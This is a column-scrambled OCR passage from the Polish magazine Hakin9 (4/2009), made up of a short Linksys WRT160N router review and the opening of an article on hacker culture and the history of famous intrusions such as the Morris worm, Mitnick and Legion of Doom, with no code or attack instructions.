zasięg i siłę sygnału niż dotychczasowy sieć bezprzewodową nawet laikom. Oczywiście
standard 802.11g. Powoli producenci sprzętu dla bardziej zaawansowanych użytkowników
komputerowego wprowadzają na r ynek możliwy jest dostęp przez przeglądarkę.
nowe urządzenia obsługujące ten standard. Tutaj mamy całe spektrum ustawień,
Wraz ze zwiększającą się popularnością zaprezentowanych w dobrze znanym ze
pr ywatnych sieci bezprzewodowych warto starszych urządzeń firmy Linksys menu. Mamy
przyjrzeć się urządzeniom przeznaczonym możliwość dokładniejszego skonfigurowania
do użytku domowego lub w małych firmach. poszczególnych parametrów urządzenia,
Producent Jednym z nich jest opisywany tutaj router firmy takich jak: sposób łączenia się z Internetem,
Linksys by Cisco Linksys – WRT 160 N. Akcesoria pracujące w dynamiczne DNS-y, forwarding portów,
Typ standardzie n cechują się nienagannym, wręcz ustawienie strefy DMZ czy przypisywanie rang
router designerskim wyglądem. Nie inaczej jest w poszczególnym serwisom w celu zapewnienia
Model przypadku routera Linksysa. Schludna czarno- Quality of Service.
WRT 160N srebrna obudowa, okraszona podświetlanymi Na dodatkową uwagę zasługują ustawienia
Strona producenta ikonami, informującymi o stanie pracy zabezpieczeń. Prócz podstawowych, takich jak
www-pl.linksys.com urządzenia, robi dobre wrażenie. Do tego brak hasło do sieci Wi-Fi, blokowanie adresów MAC
Recenzent zewnętrznej anteny powoduje, że router dobrze czy blokowanie poszczególnych adresów URL
Bartosz Zalewski się prezentuje i nie musi być chowany gdzieś bądź protokołów, mamy dostęp do konfiguracji
za szafą, a nawet może zdobić pokój. prostego firewalla. Pozwala on na zablokowanie
Wszystkie złącza zmieściły się na podstawowych źródeł zagrożeń płynących z
tylnej ściance, co pomaga w prowadzeniu Internetu: pakietów multicast, przekierowań NAT
kabli. Mamy tu więc: 1 port WAN, 4 porty lub w czasie przeglądania stron (Java, ActiveX,
LAN, gniazdko zasilacza (warto dodać, że cookies).
niezwykle małego i lekkiego) oraz przycisk Podsumowując, router Linksys WRT 160n
reset . 4 porty LAN pozwalają na swobodne pracujący w technologii 802.11n to, w naszych
podłączenie urządzeń niewyposażonych w realiach, sprzęt przyszłościowy. Sprzedaje się
inter fejs bezprzewodowy lub switch’a i dalszą jeszcze niewiele urządzeń obsługujących ten
rozbudowę sieci lokalnej. Z przodu obudowy standard, aczkolwiek pojawiać się ich będzie
znajduje się natomiast Wi-Fi Protected Button. coraz więcej. Oczywiście router obsługuje
Po naciśnięciu tego przycisku klient sam także starsze technologie (802.11b i g), ale czy
pobierze ustawienia zabezpieczeń sieci warto przepłacać za nowinki techniczne i nie
bezprzewodowej i połączy się bez wpisywania wykorzystywać ich potencjału? W końcu koszt
hasła. Rozwiązanie na pewno ułatwiające tego urządzenia to ok. 300zł. Skusić może
proces konfiguracji, ale czy bezpieczne...? natomiast ładny design, prostota konfiguracji,
W pudełku znajdziemy dodatkowo kabel a zaawansowanych użytkowników – kilka
Ethernet, zasilacz, krótką instrukcję instalacji nowych funkcjonalności, jak chociażby firewall
OCENA w 8 językach (polskiego brak, przynajmniej i rozbudowane forwardowanie portów. A to, jak
w przypadku testowanego egzemplarza) na urządzenie tej klasy, funkcje ciekawe i nie
««««« oraz modną ostatnio w urządzeniach tego zawsze spotykane.

12 HAKIN9 4/2009
Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona
uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch
napędach CD.

W razie problemów z płytą, proszę napisać pod adres:


cd@software.com.pl
POCZĄTKI
Jestem częścią
ŁUKASZ CIESIELSKI

cyfrowej
Stopień trudności
rzeczywistości!
Jak określić osobę nieprzeciętnie inteligentną, dążącą do osiągnięcia
wiedzy niedostępnej dla każdego? W jakich kategoriach umiejscowić
człowieka, dla którego powszechność wiedzy i łatwy dostęp do niej
jest życiowym priorytetem?

W
yobraźmy sobie jednak sytuację, w wszystko! Osoba taka jest w stanie wydobyć
której terroryści wejdą w posiadanie informacje zapisane na dyskach twardych
informacji uznawanych powszechnie za atakowanych komputerów i wykorzystać
niebezpieczne. Życie setek, a może nawet tysięcy je w sobie znanych celach. Oczywiście
niewinnych osób zawiśnie na włosku. Aby w pełni włamanie (bo o nim mowa) pozostaje
zrozumieć zagrożenia, o których mowa, wystarczy włamaniem. Nie należy jednak despotycznie
przeczytać artykuł profesora Johna Arquilla pod klasyfikować wszystkiego jako przestępstwa.
tytułem The Great Cyberwar of 2002. Ukazał się Każdy użytkownik, któr y uważa się za hakera,
on na łamach amerykańskiego magazynu The zobowiązany jest do przestrzegania pewnych
Wired w lutym 1998 roku. Autor w przerażająco zasad. Nie są one oczywiście usankcjonowane
realistyczny sposób wskazał krótką drogę do prawnie, ponieważ nigdy nie powstał
kolejnej wojny, obejmującej swoim zasięgiem prawomocny kodeks hakerski ani nic, co
cały świat. Niepokojący jest fakt, że sytuacja taka mogłoby być jego odpowiednikiem. Istnieją
może nastąpić bez wykorzystania potężnych jednak reguły powodujące, że przestrzegający
armii wyposażonych w najświeższe zdobycze ich pozostają w znacznym stopniu odmienni od
techniki. Wystarczy włamanie do kilku kluczowych cyberprzestępców i terror ystów.
serwerów, ogłoszenie postulatów, przejęcie kontroli Aby lepiej zar ysować sylwetkę użytkownika
Z ARTYKUŁU
DOWIESZ SIĘ nad bronią dalekiego zasięgu i gotowe! Działania komputera nazywanego hakerem, należy
takie są prowadzone przez cyberprzestępców. zapoznać się z etymologią tego słowa,
co cechuje prawdziwego hakera,
czym jest napiętnowany, jak Biorąc pod uwagę ich umiejętności, wiedzę oraz ponieważ w znacznym stopniu odzwierciedla
wygląda jego codzienność, wykorzystywane techniki, można takie osoby ono cechy takiej osoby. Samo słowo haking
poznasz historię hakingu, określić mianem hakerów. Nie oznacza to jednak, (ang. hacking) wskazuje na czynność rąbania
poznasz najlepszych hakerów że nimi są. Skąd ten rozłam myślowy? Aby dojść czy cięcia. Pierwotne znaczenie powstałego
oraz ich niesamowite
osiągnięcia będące inspiracją
do korzeni, należy zrozumieć, kim jest prawdziwy od niego określenia osoby wykonującej
dla pozostałych, haker i co odróżnia go od crackera i przestępcy. takową czynność – haker – określało kogoś,
zrozumiesz dlaczego haking stał Uogólniając i upraszczając, haker jest kto karczuje las i ziemię. Już w latach
się ich pasją.
oczywiście użytkownikiem komputera, siedemdziesiątych nazwa ta zyskała nowego
CO POWINIENEŚ najczęściej także jakiejś sieci komputerowej, nosiciela. Zaczęto w ten sposób określać
WIEDZIEĆ któr y potrafi przedostać się do cudzych tych, którzy pragnęli poznać komputer, system
znać historię Internetu i sieci, systemów operacyjnych, omijając przy operacyjny i pierwsze sieci. Hakerzy byli
znać podstawową terminologię
tym zabezpieczenia chroniące pr ywatność jednocześnie programistami, dzięki czemu w
żargonu hakerskiego. określonych użytkowników. To jednak nie odniesieniu do licznych zagadnień stali się

14 HAKIN9 4/2009
JESTEM CZĘŚCIĄ CYFROWEJ RZECZYWISTOŚCI!

pionierami i twórcami innowacyjnych, godzin na dobę! Niestety, ilość materiału, (były haker) wyróżnił pięć kategorii,
doskonalszych rozwiązań. Zdobywanie którego trzeba się nauczyć, a przede według któr ych można przyporządkować
informacji i przechwytywanie określonych wszystkim zrozumieć, jest tak olbrzymia, niemalże całą omawianą społeczność.
danych miało na celu poznanie i że jedynie w ten sposób można posiąść Najliczniejszą grupę stanowią
sprawdzenie swoich umiejętności. wiedzę pozwalającą na przemierzanie zdecydowanie nowicjusze, czyli osoby,
Nie było mowy o włamywaniu się w bezdroży sieci niczym cienie. które są zainteresowane, a niekiedy
zamian za profity. Celem hakera było Trudno wyobrazić sobie, jak wielu zafascynowane tematyką, lecz nie
zaspokojenie nieustannego głodu wiedzy. poświęceń i wyrzeczeń musi dokonać posiadają jeszcze odpowiednich
Łamanie zabezpieczeń – zarówno człowiek, któr y chce zostać najlepszym umiejętności i wymaganej wiedzy.
programowych, jak i elektronicznych, w tym, co robi, poświęcić się pasji, Użytkowników takich pociągają gr y
miało zaprezentować intelektualny zgłębić tajemnice niedostępne dla komputerowe oraz najróżniejsze zbior y
poziom takiej osoby i wskazać drogę przeciętnego użytkownika komputera danych. Drugą grupą są tzw. analitycy,
dalszej edukacji. Działalnością taką czy sieci. Haker nie uczy się na pamięć któr ych zainteresowanie skupia się
najczęściej zajmowali się młodzi sekwencji i zachowań systemu. On zna wokół rozmaitych komputerów i ich
ludzie (często niepełnoletni), dla je tak dokładnie, że z czasem zaczyna rodzajów. Nie chcą oni wyrządzać
któr ych pokonanie kodu i dostanie rozumieć język komputera. Niestety, czas szkód, a jedynie dogłębnie poznać
się do strzeżonego systemu było niezbędny dla poznania wspomnianych działanie sprzętu. Kolejny typ hakerów
jedynie rozr ywką. Stopniowo ich pasja zagadnień zdecydowanie zajmuje to – jak nazywa ich Landreth – tur yści.
przeradzała się w rodzaj nałogu, większą część doby. Jeżeli osoba taka Traktują oni zawiłe problemy dotyczące
nakazującego nieustanne udowadnianie nie działa w zespole podobnych sobie systemów operacyjnych jak swego
własnych umiejętności. Z biegiem zapaleńców, niestety skazana jest na rodzaju łamigłówki. Kiedy uda im się
lat okazało się jednak, że możliwość samotność. odnaleźć rozwiązanie, najczęściej nigdy
nieautor yzowanego dostępu do danych Czując się nierozumianym przez już nie wracają do tego problemu,
może stać się formą zarabiania rówieśników, pasjonat zaczyna unikać szukając emocji w rozwiązywaniu
pieniędzy. W tym momencie każdy haker ich towarzystwa. Stopniowo komputer nowych zagadnień. Ostatnie dwie grupy
stanął na rozdrożu i musiał dokonać staje się już nie tylko zabawą, lecz nacechowane są negatywnie. Należą
wyboru. także pracą. Niezwykle interesującą do nich użytkownicy, któr ych celem jest
Część przeszła do świata kwestią jest umiejętność nawiązywania wyrządzanie szkód innym użytkownikom
przestępczego, natomiast pozostali kontaktów. Internet daje tak ogromne lub wykradanie poufnych danych firmom.
w dalszym ciągu rozwijali swoje możliwości komunikacyjne, że pomimo Najczęściej osoby takie działają na
zamiłowanie. Warto w tym momencie odtrącenia przez rówieśników i swoistej zlecenie firm konkurencyjnych lub dla
wspomnieć, że to właśnie ten podział izolacji od nich, to właśnie hakerzy satysfakcji. Choć zostały one zaliczone
dał początek takim określeniom, jak potrafią umiejętnie nawiązywać nowe do klasyfikacji i są jej częścią, w
białe i czarne kapelusze. Łatwo się znajomości. Nie bez znaczenia pozostaje rzeczywistości nie są to hakerzy, a
domyślić, że pierwsze określają hakerów tu wspomniana już inteligencja, którą z nazywając ich wprost – przestępcy.
pomagających w zabezpieczaniu pewnością są obdarzeni. Już po kilku Nieco zmodyfikowaną klasyfikację
sieci i systemów komputerowych, minutach rozmowy z pracownikiem hakerów i maniaków komputerowych
w przeciwieństwie do tzw. czarnych danej firmy, w sposób perfekcyjny tworzą wprowadzili w latach '90 profesorowie:
kapeluszy, czyli osób łamiących prawo. jego profil psychologiczny i wydobywają John D. Howard i Thomas A. Longstaff.
Coraz częściej mówi się o szar ych pożądane informacje. Osoba, która Jako jedna z kategorii ich podziału, pojawia
kapeluszach, pasjonatach pozostających padła ofiarą takiego wywiadu, najczęściej się grupa hakerzy. Twórcy zaliczają do niej
w cieniu, którzy nie wybrali żadnej ze nawet o tym nie wie. jedynie tych użytkowników, którzy atakują
wspomnianych dróg. Oczywistością jest, że nie można inne komputery lub sieci jedynie w celach
Nie ulega wątpliwości, że aby stać wszystkich hakerów jednakowo poznawczych, traktują to jako wyzwanie i
się hakerem, trzeba posiadać ogromną uwznioślać lub potępiać. Każdemu z nich udowadniają własne umiejętności. Dzięki
wiedzę, potencjał i intuicję. Dlaczego tak przyświecają odmienne cele i każdy ma temu mogą pozyskać określoną pozycję
trudno osiągnąć poziom, któr ym cechują własny system wartości, co sprawia, że wśród innych hakerów. Osoby takie
się najlepsi w tej dziedzinie? Ponieważ pogląd na poszczególne zagadnienia absolutnie nie robią tego dla żadnych
chęci, nie poparte wewnętrznym nie musi być taki, jak u pozostałych. korzyści materialnych, nie włamują się w
pragnieniem poznania, nie zdadzą się W takim razie jak sklasyfikować to zamian za pieniądze, nie kradną danych,
na wiele. Duża część tych specyficznych specyficzne środowisko, a właściwie a system, do którego uzyskali dostęp,
obywateli cyberświata, ambasadorów należałoby napisać – subkulturę? pozostawiają nieuszkodzony. W przypadku
sieci, jest uzależniona od komputera, We wcześniejszej części tekstu padły zdobywania informacji, aby następnie
choć sami najczęściej nie są tego określenia takie jak białe i czarne wykorzystać je w celach politycznych, ta
świadomi. Przeciętny haker spędza kapelusze. Jest to jednak zaledwie niewinna pasja zamienia się w klasyczne
przed komputerem nawet dwadzieścia wierzchołek gór y lodowej. Bili Landreth szpiegostwo.

4/2009 HAKIN9 15
POCZATKI
Oczywiście korzyści polityczne członkami są między innymi: Scott dalej. Sieć otworzyła nowe furtki, dała
można również osiągnąć, wzbudzając Chasin i Chris Goggans. Założyli oni ogromne możliwości, ale przede
strach poprzez opanowanie określonych firmę zajmującą się projektowaniem wszystkim pozwalała roztaczać wizje, o
komputerów. W tym przypadku jednak zabezpieczeń antywłamaniowych do któr ych wcześniej mało kto chociażby
wkraczamy już na obszar opanowany przez sieci wewnętrznych firm i korporacji. myślał. Czym jest buszowanie po
cyberterrorystów. Może się także zdarzyć, Nikt nie zrobi tego lepiej niż osoba, zakamarkach własnego systemu,
że agresorem w odniesieniu do danej której celem było pokonywanie tego skoro można poruszać się po cudzych
firmy okazuje się jej pracownik, którego typu barier. Na temat postaci hakerów, komputerach, rozrzuconych po całym
celem jest opanowanie wewnętrznej sieci ich psychologicznych portretów, można świecie? Ponieważ pierwsze sieci miały
i przechwycenie kluczowych informacji, by pisać wiele. Najlepiej jednak będzie, na celu pomóc w rozwoju nauki poprzez
które następnie zostaną zamienione jeżeli przeanalizujemy kluczowe punkty w szybką wymianę informacji na temat
na określone korzyści. Trudno byłoby historii hakingu, a następnie przyjrzymy najnowszych badań i osiągnięć, hakerzy
w jakiejkolwiek klasyfikacji hakerów się najsłynniejszym postaciom tego zrozumieli, że mogą wejść w posiadanie
pominąć osoby będące przestępcami hermetycznego świata i ich dokonaniom. wiedzy, o której społeczeństwo nie miało
(okradające dyski twarde z ich zawartości) pojęcia. Wystarczyło okiełznać terminal
lub wandalami dążącymi do wyrządzenia Wszystko przez ciekawość i pokonać pr ymitywne zabezpieczenia
jak największego spustoszenia. W Choć to zaskakujące, okazuje się, że (występujące zresztą sporadycznie).
ostatnim dziesięcioleciu pojawił się równie podłożem, na któr ym wyrósł haking, był Wiedza w ówczesnym czasie miała
niebezpieczny odłam podziemnego phreacking. Nawiązywanie darmowych jednak nieco inne znaczenie niż obecnie.
świata, czyli tzw. podglądacze. Obserwując połączeń telefonicznych stało się Jej charakter był bez mała metafizyczny.
regularnie przepływ rozmaitych celem młodych osób. Przez przypadek Hakerzy nie chcieli jej sprzedawać ani
informacji, czekają na pojawienie się John Draper (Capitan Crunch) odkr ył, tym bardziej kupować. Ich jedynym
ważnych danych. Warto zwrócić uwagę że załączony do chrupek gwizdek pragnieniem było po prostu wiedzieć.
na wielokrotnie podkreślanie w tekście emituje dźwięk o częstotliwości 2600 Kolejne piętnaście lat to
postawy prawdziwego hakera, który nie Hz. Okazało się, że to właśnie ta okres intensywnego rozwoju sieci
zajmuje się działalnością przestępczą. częstotliwość była wykorzystywana przez komputerowych i dążenie do
Idee przyświecające temu, co robi, są centrale telefoniczne do przełączania stworzenia globalnych połączeń między
jak najbardziej godne pochwały. Nawet poszczególnych rozmów. Wraz z dwoma użytkownikami z całego świata. Wraz z
jeżeli niezbędne okazuje się pokonanie podobnymi zapaleńcami skonstruowali postępem informatyki powstały nowe
zabezpieczeń ograniczających dostęp tzw. niebieską skrzynkę, pozwalającą technologie i zabezpieczenia. Hakerzy
do określonego systemu, haker robi to oszukać centralę poprzez generowanie stopniowo zaczęli tworzyć własną
w celu odnalezienia słabych punktów. określonych dźwięków. Łatwo sobie subkulturę, żargon, powstawały pierwsze
Widzimy zatem, że przez kilkanaście lat wyobrazić, jak wielkie możliwości w grupy i rozpoczęły się próby własnych
określenie osoby jako hakera zmieniło tamtych czasach dawało odkr ycie Jahna sił wobec administratorów sieci.
swoje znaczenie, począwszy od eksperta Drapera, umożliwiające prowadzenie Dopiero na początku lat '80 hakerzy
komputerowego, na włamywaczu- darmowych rozmów. Dzięki temu Capitan zaczęli być postrzegani jako realne
terroryście kończąc. Aktualnie do Crunch został uznany za prekursora zagrożenie dla bezpieczeństwa państw.
rodziny hakerów zalicza się błędnie tzw. hakingu. Jako jeden z pierwszych Umiejętność zdobycia rządowych,
script kiddies, czyli osoby niemające z został skazany na karę pozbawienia strzeżonych dokumentów sprawiała, że
prawdziwym hakingiem nic wspólnego. wolności za nadużywanie systemu użytkownicy postrzegani dotychczas
Najczęściej ich wiedza na temat systemów telekomunikacyjnego. jako nieszkodliwi fanatycy komputerów
i sieci jest powierzchowna, natomiast do Dopiero lata '60 dały możliwości zostali publicznie napiętnowani. W 1983
włamywania się wykorzystują gotowe rozwoju hakingu rozumianego jako roku FBI aresztowało grupę nastolatków,
programy i skrypty. Obecnie to właśnie ta rozpracowywanie skomplikowanych której nazwa wzięła się od telefonicznego
grupa jest najbardziej niebezpieczna. Młody łamigłówek, ściśle związanych z numeru kierunkowego – 414. Zostali
wiek i brak świadomości na temat szkód, komputerami. Pierwsze grupy skupiające oni oskarżeni o włamanie się do
które mogą zostać wyrządzone, często są osoby oczarowane możliwościami około sześćdziesięciu komputerów.
powodem nieszczęść. Aby przeciwdziałać komputerów, jak nietrudno przewidzieć, Choć może się to wydawać niewielką
takim przejawom wandalizmu, część zorientowały się wokół uniwersytetów, liczbą, zwłaszcza w porównaniu do
hakerów zdecydowała się przejść na drugą które jako jedne z nielicznych organizacji współczesnych danych określających
stronę, aby bronić dobrego zdania o swojej posiadały tego typu urządzenia. Należy ilość zainfekowanych komputerów
życiowej pasji. także pamiętać, że koniec lat '60 to nowym wirusem, w latach '80 była to
Doskonałym przykładem grupy również pierwsze próby stworzenia wielkość wzbudzająca co najmniej
hakerów, którzy postanowili poświęcić eksper ymentalnych sieci, np. ARPANET. zaniepokojenie. Dodatkowym czynnikiem,
się słusznej sprawie, jest Legion Hakerzy poznali własne komputer y któr y ostatecznie uzmysłowił, że hakerzy
of Doom (Legion Zagłady). Jej na tyle dokładnie, że zapragnęli pójść nie tylko mogą być, ale są groźni, było

16 HAKIN9 4/2009
JESTEM CZĘŚCIĄ CYFROWEJ RZECZYWISTOŚCI!

włamanie się grupy 414 do wewnętrznej DEC-a. Na podstawie świeżej jeszcze się uzyskać dostęp do zawartości
sieci Los Alamos National Laborator y. ustawy dotyczącej zakazu dostępu do dysków twardych komputerów
Instytucja ta była zaangażowana w międzystanowej sieci komputerowej Departamentu Obrony. Grozy sytuacji
rozwój broni nuklearnej. Nietrudno w celach przestępczych, Mitnicka nadał jednak fakt, że był to okres walk
wyobrazić sobie, co mogłoby się stać, jako pierwszego skazano wyrokiem w Zatoce Perskiej. Młodzi hakerzy mogli
gdyby takie informacje dostały się w prawomocnym. Po roku został zwolniony bez przeszkód przeglądać wszelakie
niepowołane ręce. Rok później (1984) warunkowo, otrzymując jednocześnie zakaz raporty na temat działań wojennych,
powstaje kwartalnik 2600: The Haker korzystania z komputerów i kontaktów z przemieszczania się oddziałów,
Quaterly, uważany za kluczowe pismo hakerami. wprowadzania prototypowych rodzajów
poruszające zagadnienia hakingu. W niespełna rok później na arenę broni. Dyski zawierały również dane
Założycielem był Eric Corley (Emmanuel amerykańskiego hakingu powróciła grupa osobowe walczących żołnierzy. Gdyby te
Goldstein). Tematyka spotkała się z Legion of Doom. Cel, jaki sobie wyznaczyli, informacje wpadły w ręce wroga, wyniki
tak entuzjastycznym przyjęciem, że w był niezwykle nowatorski i ryzykowny. Chcieli walk byłyby z gór y przesądzone.
1985 roku dwóch dziennikarzy – Taran przejąć kontrolę nad siecią obsługującą Coraz częściej zdarzały się ataki
King i Knight Lightning – rozpoczęło numer telefoniczny 911 na terenie całych na oficjalne strony rządowe i kluczowe
pracę na kolejnym magazynem Stanów Zjednoczonych. Udało się wykraść firmy. Drugą grupą – obok Legion
hakerskim – Phrack. Dzięki elektronicznej specyfikację tej sieci z firmy BellSouth. of Doom – skupiającą wokół siebie
formie, każdy użytkownik sieci miał Hakerzy z Legion of Doom mieli fizyczną wybitnie uzdolnionych hakerów była
do niego dostęp. Zainteresowanie
oraz niebezpieczeństwo, wynikające z
nieautor yzowanego dostępu do cudzych
danych, zmusiło władze do wydania
w 1986 roku ustawy zabraniającej
posługiwania się cudzymi hasłami
(Computer Fraud and Abuse Act ).
Pierwszym skazanym na podstawie tej
ustawy był siedemnastolatek – Herbert
Zinn. Ukr ywając się pod pseudonimem
Shadow Hawk, przyznał się do włamania
do komputerów AT&T (New Jersey).
Niespodziewanym przełomem
okazał się rok 1988, w którym Robert
Morris stworzył pierwszy na świecie
program, który potrafił się rozmnażać.
Kiedy dwudziestoletni wówczas student
Cornell University uruchomił swoje
dzieło w Arpanecie, okazało się, że po możliwość zakłócania połączeń z Master of Deception. Tworzyli ją
krótkim czasie zainfekowanych zostało numerem 911, a nawet – jak się później nastolatkowie z Brooklynu i Queens.
około sześciu tysięcy dysków twardych. okazało – blokowania ich. Trzech członków Zarzucono im włamanie się do
Obliczono, że odpowiadało to około grupy otrzymało kary od czternastu do systemów TRW (firma specjalizująca
10% wszystkich podłączonych do sieci dwudziestu jeden miesięcy pozbawienia się w wojskowych systemach
użytkowników. Choć Morris nazwał wolności. Ten zuchwały atak był sygnałem informatycznych), Bank of America,
program Robakiem, w rzeczywistości był dla amerykańskich służb Secret Narodowej Agencji Bezpieczeństwa i
to odpowiednik dzisiejszych wirusów. W Services, że niezbędna jest operacja AT&T. W grudniu 1992 roku posądzono
tym samym roku grupa hakerska Legion of przeprowadzona na dużą skalę, mająca na Kevina Poulsena o kradzież tajemnic
Doom (działająca już cztery lata) sprawiła, celu wyeliminowanie podobnych sytuacji w państwowych i szpiegostwo. Groziło
że militarna część sieci – Milnet – została przyszłości. Przeciwko cyberprzestępcom mu nawet dziesięć lat pozbawienia
odłączona od Arpanetu (zalążka Internetu). wymierzono akcję Sundevil. W czternastu wolności. Sprawa okazała się jednak
Istniało podejrzenie o włamanie do co miastach zarekwirowano sprzęt bardziej skomplikowana niż sądzono
najmniej jednego komputera wojskowego. komputerowy, pozwalający na włamywanie na początku. Rok po oskarżeniu
Nie trzeba było długo czekać na się przez sieć. Operacja zakończyła się okazało się, że Poulsen wraz z dwoma
kolejne problemy i związane z nimi niepowodzeniem, ponieważ już kilka kolegami (Ronaldem Austinem i
niedoskonałości ówczesnego prawa. miesięcy później ruch hakerski się odrodził. Justinem Petersenem) przejął kontrolę
W 1989 roku Kevin Mitnick został Ogromne zamieszanie wywołał nad telefonami do stacji radiowej
oskarżony o kradzież kodów rozmów niebywały wyczyn holenderskich prowadzącej konkurs, dopuszczając
długodystansowych oraz oprogramowania nastolatków, któr ym w 1991 roku udało jedynie własne połączenia. Nagrodami

4/2009 HAKIN9 17
POCZATKI
były dwa Porsche oraz dwadzieścia Po trzyletniej przerwie, w 1998 Hakerzy są osobami, które bacznie
tysięcy dolarów. Interesującym roku, niespodziewanie przedstawiciel śledzą wydarzenia ogólnoświatowe,
zjawiskiem z psychologicznego punktu amer ykańskiego Departamentu i to nie tylko te dotyczące zagadnień
widzenia jest chęć posiadania. Wcześniej Obrony oświadczył, że Pentagon padł związanych z informatyką. Nie pozostają
hakerzy przypominali raczej ciekawskich ofiarą ataku hakerów. W odróżnieniu obojętni na rozprzestrzeniające się
nastolatków, którzy poszukują od poprzednich, był on skrupulatnie zło. Kiedy zamach terror ystyczny z 11
inteligentnej rozr ywki. Teraz można przemyślany i doskonale zorganizowany. września 2001 roku wstrząsnął całym
ich porównać raczej z terror ystami Celem włamywaczy była zmiana danych światem, to właśnie oni zaatakowali
szukającymi sposobów na szybkie dotyczących płatności oraz niektóre muzułmańskie strony internetowe,
osiągnięcie korzyści materialnych. akta personalne. Podobnie jak we zamieszczając na nich list gończy FBI
W 1994 roku po raz kolejny dwójka wspomnianych wcześniej przypadkach, za Osamą bin Ladenem. Jeden z byłych
nastoletnich hakerów – jeden z nich miał winnymi okazali się trzej nastolatkowie. hakerów – Kim Schmitz – zaoferował
szesnaście lat – o pseudonimach Data Ich działaniem kierował młodociany nawet na pr ywatnej stronie nagrodę w
Stream i Kuji udowodniła, że kluczowe haker o pseudonimie Analyzer. Ataki wysokości 10 mln dolarów w zamian za
miejsca sieci są słabo zabezpieczone przeprowadzane przez nastolatków stały informacje pozwalające na schwytanie
i włamała się komputerów Bazy się tak częste, że władze po raz pierwszy tego groźnego terror ysty.
Sił Powietrznych (Griffith), NASA, a oskarżyły niepełnoletniego hakera.
także Koreańskiego Instytutu Badań Zablokował on system komunikacyjny Samotne cienie geniuszu
Atomowych! Również w tym roku lotniska, czego efektem była przerwa w Udało nam się scharakter yzować postać
nieznany haker rozpoczął ataki na łączności pomiędzy samolotami a wieżą kreowaną przez hakerów z całego świata.
sieć komputerów Tsutomu Shimomur y. kontrolną, trwająca około sześciu godzin. Czy na pewno? Trudno określać ludzi,
Podejrzenia padły na Kevina Mitnicka. Sytuacja była napięta, a pasażerom nie znając ich życior ysu, nie wiedząc,
Rok później został on aresztowany. zagrażało realne niebezpieczeństwo. kim byli, kim są teraz. Poznaliśmy kilka
Wspominając rok 1995, nie można Ponieważ ostatecznie nikomu nic się nie najważniejszych przykładów hakingu
pominąć tak głośnej postaci, jak stało, sąd skazał sprawcę na dwieście światowego, ale tak właściwie, co
Wladimir Lewin. W wieku trzydziestu lat pięćdziesiąt godzin prac społecznych. kierowało tymi ludźmi? Współcześnie
Rosjanin przelał około czterech milionów Rząd amerykański każdego roku wydaje się nawet niezrozumiałym,
dolarów z Citibanku znajdującego przeznaczał ogromne kwoty pieniężne jeżeli osoba interesująca się choćby
się w Nowym Jorku na własne konta na zabezpieczenie cennych danych, ogólnie informatyką nie potrafiła podać
rozlokowane po całym świecie. tym bardziej, że zbliżał się wiek, który kilku przykładów znanych włamywaczy
Trudno jednak potępiać działania zapoczątkował nowy okres w dziejach komputerowych. Wspomnieliśmy już
hakerów, ponieważ to właśnie ludzkości – erę informacji. To właśnie ona o prekursorze nowego sposobu życia
oni wielokrotnie przyczynili się do stała się kluczem do sukcesu lub porażki – Johnie Draperze. A co z takimi sławami
usprawnienia wielu systemów, każdego państwa. I choć wydawałoby jak Kevin Mitnick czy Christopher
opracowania nowych technik się szaleństwem podjęcie kolejnej próby Lamprecht i Kevin Poulsen? Do czołówki
szyfrowania i zabezpieczania. W udowodnienia swoich umiejętności, najlepszych należałoby także dodać
podobny sposób zdarzało się także dzień 22 kwietnia 1998 roku obnażył Morrisa Roberta Tappana, Ehuda
pracować w taki sposób osobom niedoskonałości rządowego systemu. Tenebauma oraz Tsutomu Shimomurę.
odpowiedzialnym za bezpieczeństwo. Jednak, co gorsza, tym razem włamania Jeśli komuś wydaje się, że to koniec listy,
Doskonałym przykładem jest nie dokonała pojedyncza osoba ani jest w błędzie. W rzeczywistości mogłaby
postać Dana Farmera, jednego z lokalna grupa. Atak przeprowadziła ona liczyć kilkadziesiąt (jeżeli nie kilkaset)
twórców programu Satan. Zadaniem międzynarodowa grupa składająca się sylwetek hakerów godnych zauważenia.
programu było przemierzanie sieci w z najlepszych hakerów pochodzących ze Trudno byłoby jednak przyjrzeć się
poszukiwaniu luk w zabezpieczeniach Stanów Zjednoczonych, Wielkiej Brytanii każdej z nich. Nazwiska przedstawione
komputerów podłączonych do Internetu i Rosji. Ofiarą padł komputer NASA, a w artykule nie mają na celu stworzenia
i pracujących z systemem Unix. Dan zaledwie rok później – kluczowe strony grupy najlepszych hakerów świata,
Farmer wyjaśniał, że jego celem nie były amerykańskiego senatu, Białego Domu i choć nie ulega wątpliwości, że ci ludzie
włamania, ale wykr ywanie wszelkich armii. nimi są. Poznając życie kilku wybranych
nieścisłości w zabezpieczeniach i W 2000 roku nieznani do przedstawicieli tej grupy, łatwiej
wskazywanie ich administratorom, dziś sprawcy zbombardowali będzie stworzyć w miarę obiektywny
aby można było je wyeliminować, najpopularniejsze portale internetowe wizerunek jej przedstawicieli, ich
zanim zostaną odnalezione przez taką ilością zgłoszeń, że ich serwer y poglądów, upodobań i cech charakteru.
hakerów. Cel przyświecający twórcy nie nadążały z przetwarzaniem, czego Wbrew pozorom, wiedza taka może
Satana był szczytny, jednak sposób efektem było całkowite zawieszenie przydać się podczas zabezpieczania
przeprowadzania badań w ukr yciu przed portali takich gigantów, jak Yahoo! , systemu i danych. Po lekturze artykułu
światem wzbudzał pewne wątpliwości. Amazon.com, Buy.com i CNN.com. zrozumiemy, dlaczego to takie istotne.

18 HAKIN9 4/2009
JESTEM CZĘŚCIĄ CYFROWEJ RZECZYWISTOŚCI!

Jednocześnie spojrzymy na hakerów w burzliwy charakter, po ukończeniu szkoły trafiła do sądu i zakończyła się wyrokiem.
odmiennym świetle. Zobaczymy w nich średniej rozpoczął studia. To właśnie Chociaż haker otrzymał trzy lata
nie tyle kr yminalistów, ile komputerowych tam po raz pierwszy mógł korzystać dozoru policyjnego, nie zmieniło to jego
geniuszy i przede wszystkim zwyczajnych z nowoczesnych jak na owe czasy podejścia do włamań, wręcz przeciwnie.
ludzi. komputerów. Zgłębiając tajniki systemu, Niedoskonałe jeszcze prawo – w
Zacznijmy od legendy tego oprogramowania i programowania, odniesieniu do hakingu – spowodowało,
hermetycznego półświatka, czyli Kevina w 1982 roku wraz z kolegą z uczelni że Kevin Mitnick poczuł się pewniej
Davida Mitnicka. Wielu ma do niego (Lenny DiCicco) włamują się do niż kiedykolwiek. Wraz z przyjacielem
nieuzasadniony żal od momentu, komputerów Uniwersytetu Południowej DiCiccio włamuje się do firmy Digital
